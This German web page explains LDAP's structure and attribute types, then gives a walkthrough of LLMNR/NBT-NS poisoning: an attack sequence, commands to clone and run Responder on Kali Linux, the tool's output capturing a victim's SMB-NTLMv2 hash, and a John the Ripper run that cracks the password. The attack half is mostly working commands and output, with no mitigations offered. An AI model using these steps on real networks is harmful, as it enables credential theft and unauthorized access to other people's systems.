| FOTO | AUTO | EDV | AUDIO |

Wie funktioniert LDAP

Der LDAP-Client greift über TCP/IP auf den LDAP-Server zu. Der LDAP-Server ist Teil eines LDAP-Gateways, in dem sich ein X.500-Client befindet, der über den OSI-Protokoll-Stack auf den X.500-Server zugreift.

Stand-alone-LDAP-Server

Anstatt eines LDAP-Gateways und der Umweg über einen X.500-Server kann der LDAP-Server auch direkt auf das Verzeichnis zugreifen. Man bezeichnet diese Konstellation auch als Stand-alone-LDAP-Server. Für den LDAP-Client spielt es keine Rolle, ob der LDAP-Server direkt auf das Verzeichnis zugreift oder als LDAP-Gateway fungiert. Greift der LDAP-Server direkt auf das Verzeichnis zu, kann man von einem LDAP-Verzeichnisdienst sprechen. Die Architektur ist ein Client-Server-Modell das im Vergleich zu X.500 einfacher zu realisieren ist. Bei einem LDAP-Verzeichnisdienst stehen die X.500-Funktionen nicht mehr zur Verfügung. Es gilt nur ein eingeschränkter Funktionsumfang.

Der Aufbau von LDAP

Der grundlegende Aufbau im LDAP-Datenmodell ist einfach. LDAP besteht aus Objekten und folgt weitgehend dem Ansatz der objektorientierten Programmierung mit Klassen, Vererbung, Polymorphie und den Objekten selbst. Ein Verzeichnisdiensteintrag besteht aus einer Liste von Attributen und einem „Pflichtobjekt“ – der Bezeichnung des Objekts selbst, dem „Distinguished Name“.

Diese Bezeichnung entspricht ein wenig einem Dateinamen und teilt sich eine Eigenschaft mit der Dateinamenkonvention: In derselben Ebene ist kein gleichlautendes Objekt mit demselben Namen möglich. Objekte mit der Bezeichnung „OU“ stellen Container dar, in denen weitere Objekte erzeugt sein können. Sie bilden das Grundgerüst beim Aufbau der Struktur. Gemäß dem Standard RFC 2253 mit dem Titel „UTF-8 String Representation of Distinguished Names“ existieren unter anderem folgende Attributtypen: 

CN:     commonName
L:      localityName
ST:     stateOrProvinceName
O:      organizationName
OU:     organizationalUnitName
C:      countryName
STREET: streetAddress
DC:     domainComponent
UID:    userid

<sup>Quelle: https://www.ip-insider.de/was-ist-ldap-lightweight-directory-access-protocol-a-581204/ </quelle>

LLMNR und NBTNS Poisoning

LLMNR ist ein Protokoll, das IPv6 und IPv4-Hosts ermöglicht, eine Namensauflösung benachbarte Computer ohne einen DNS-Server oder DNS-Client-Konfiguration zu gewährleisten.

Das NBTNS Protokoll ist im Grunde dasselbe wie LLMNR, funktioniert aber nur auf IPv4-Hosts. Auf Computern unter Windows XP wurden z. B. beim Dienst Datei- und Druckerfreigabe der NetBIOS-Name verwendet. Beim Starten des Computers registrierte dieser Dienst einen eindeutigen NetBIOS-Namen auf der Grundlage des Computernamens. Ist ein Angreifer im lokalen Netzwerk in der Lage, sich als eine Ressource auszugeben, so können wichtige Informationen (wie z.B User-ID und eine Challenge/Response Passwort in Form eines Hashwertes abgegriffen werden.

Der Angriff gestaltet sich relativ simpel. Fragt z.B. eine Workstation in einem Netzwerk eine Ressource auf dem Fileserver ab, so antwortet der Computer des Angreifers bevor eine legitime Antwort erfolgen kann. Eine Prüfung der Antwort findet auf dem Opfer nicht statt.

Angriff

Der Angriff kann folgendermaßen ablaufen:

  1. Der Oper-PC möchte die Freigabe \\ablage nutzen, stellt aber irrtümlich die Anfrage an \\alage
  2. Der DNS-Server antwortet, dass er diese Ressource nicht finden kann.
  3. Der Opfer-PC sendet Anfragen in das Netzwerk. „Stellt dies jemand bereit?“
  4. Der Angreifer-PC meldet sich: „Ja, ich stelle die Ressource bereit!“
  5. Der Opfer-PC sendet die entsprechenden Nutzerdaten zum Angreifer.

Für den Angriff lassen sind insbesondere zwei Tools nutzen. Spider Labs stellt das Werkzeug Responder zur Verfügung. Außerdem ist ein Metasploit-Modul vorhanden, dass sich als sogenanntes „Auxiliary“ nutzen lässt. Das es sich bei Responder um ein Python-Skript handelt, kann man es relativ einfach mittels github in Kali-Linux integrieren. Dies sieht wie folgt aus: 

cd /home/
git clone https://github.com/SpiderLabs/Responder.git
cd Responder
./Responder.py -i 192.168.1.13 -wrf

Nach erfolgreicher Ausführung des Kommandos wartet das Werkzeug nun auf Anfragen aus dem Netzwerk. In unserem Beispiel werden sie an den Host mit der IP-Adresse 192.168.1.13 weitergeleitet. 

root@kali:/home/scripts/Responder# ./Responder.py -i 192.168.1.13 -wrf
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
 
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: True
WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: True
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

In diesem Fall versucht sich nun eine Windows7-PC mit der Resource \\alage im Netzwerk zu verbinden. Die Anfragen werden sofort an den Angreifer weitergeleitet und damit wichtige Daten zur Authentifizierung übermittelt. 

[+] ClientVersion is :Windows 7 Enterprise 6.1
LLMNR poisoned answer sent to this IP: 192.168.1.14. The requested name was : alage.
[+] OsVersion is:Windows 7 Enterprise 7601 Service Pack 1
[+] ClientVersion is :Windows 7 Enterprise 6.1
[+]SMB-NTLMv2 hash captured from :  192.168.1.14
[+]SMB complete hash is : Windows7::WINAVG:1122334455667788:1D2BB305029C18B0C0CFB4DBF3224E82:01010000000000007B28EFD1BCBDD001E99C8BCADC4FF9F70000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C0008003000300000000000000001000000002000005DDC3A7DF8C0A893C48FFD84367DC9CDF8F9247B127668514E122C70B9877C020A001000000000000000000000000000000000000900200063006900660073002F0064007200750063006B007300650072007600650072000000000000000000

Die so erlangten Nutzerdaten werden gleichzeitig in eine Datei in folgender Form übertragen: 

SMB-NTLMv2-Client-[IP-Adresse].txt

Nun ist man in der Lage, die Nutzerdaten mit John the Ripper zu entschlüsseln. Voraussetzung dafür ist, dass sich das Passwort bereits in einer entsprechenden „Wortliste“ befindet. 

root@kali:/home/scripts/Responder#  john SMB-NTLMv2-Client-192.168.1.14.txt -w=../../wordlist.txt
 
Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/32])
asdf1234%        (Windows7)
guesses: 1  time: 0:00:00:00 DONE (Mon Jul 13 18:54:56 2015)  c/s: 25600  trying:  - cracker
Use the "--show" option to display all of the cracked passwords reliably

Somit konnten wir als Nutzernamen: Windows7 und als Passwort: asdf1234% ermitteln.